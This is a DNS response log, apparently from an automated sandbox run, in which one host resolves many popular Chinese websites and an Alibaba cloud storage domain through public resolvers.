Aug 4, 2024 10:57:16.272830009 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.272830009 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.272830009 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		163.171.132.119	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.281526089 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.281526089 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.281526089 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.29.38	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.281526089 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.186.108	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.289884090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.289884090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.314219952 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.314219952 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.239	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.242	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.243	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.241	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.246	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.240	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.204	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.325246096 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.245	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.365195990 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.365195990 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.365195990 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.365195990 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.431303978 CEST	114.114.114.114	192.168.2.7	0x100	Server failure (2)	soso.com	none	none	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.481620073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.481620073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.481620073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		138.113.236.64	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.481620073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		138.113.112.18	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.518997908 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.518997908 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.130.237	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.542900085 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.542900085 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.199.200	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.542900085 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.199.199	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.604068041 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.604068041 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.622536898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.651978016 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.679794073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.216	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.210	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.212	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.217	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.211	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.209	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.208	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.687164068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.215	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.737047911 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.805788994 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.820993900 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.842767000 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.844568968 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.844568968 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.181	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.844568968 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.180	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.866345882 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.866345882 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.866345882 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.204	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.246	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.241	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.243	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.245	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.242	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.239	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.923856020 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.240	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hupu.com	www.hupu.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hupu.com.cdn.dnsv1.com	dc3ee476.ovslegodl-dk.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.139	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.9	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.100	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.185	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.175.139.72	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.175	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.27.8	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.143.134	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.194	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.188	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.77	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.173	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.158	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.246	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.028609991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.143.159	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.046691895 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com	www.cctv.com.wsglb0.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.046691895 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		138.113.115.36	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.046691895 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		163.171.208.133	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.069250107 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.069250107 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.069250107 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.069250107 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.074393034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.074393034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.074393034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.074393034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.151612997 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com	www.cctv.com.wsglb0.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.151612997 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		163.171.128.148	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.151612997 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		138.113.147.185	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.autohome.com.cn	www.autohome.com.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.autohome.com.cn.a.bdydns.com	opencdnqczjv6.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.51.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.199.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		218.68.136.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		112.65.203.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		119.188.176.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		121.22.239.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.221.222.1	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		211.97.82.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.203.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.175354958 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		211.93.20.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.180314064 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	guangzhoucs.oss-accelerate.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.180314064 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.180314064 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1-ds-2088.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.180314064 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	eu-central-1-ds-2088.oss-acc.aliyuncs.com		47.254.187.186	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hupu.com	www.hupu.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hupu.com.cdn.dnsv1.com	dc3ee476.ovslegodl-dk.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.235	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.245	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.196	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.251	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.117	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.242	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.122	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.403811932 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.200	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.autohome.com.cn	www.autohome.com.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.autohome.com.cn.a.bdydns.com	opencdnqczjv6.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		39.91.182.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		1.56.80.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.51.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		58.243.203.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		14.204.138.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.9.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.221.222.1	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		27.221.38.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		58.254.180.65	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.481837034 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.6.196.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.591392994 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.591392994 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.630978107 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	guangzhoucs.oss-accelerate.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.630978107 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.630978107 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	ap-southeast-1-ds-2088.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
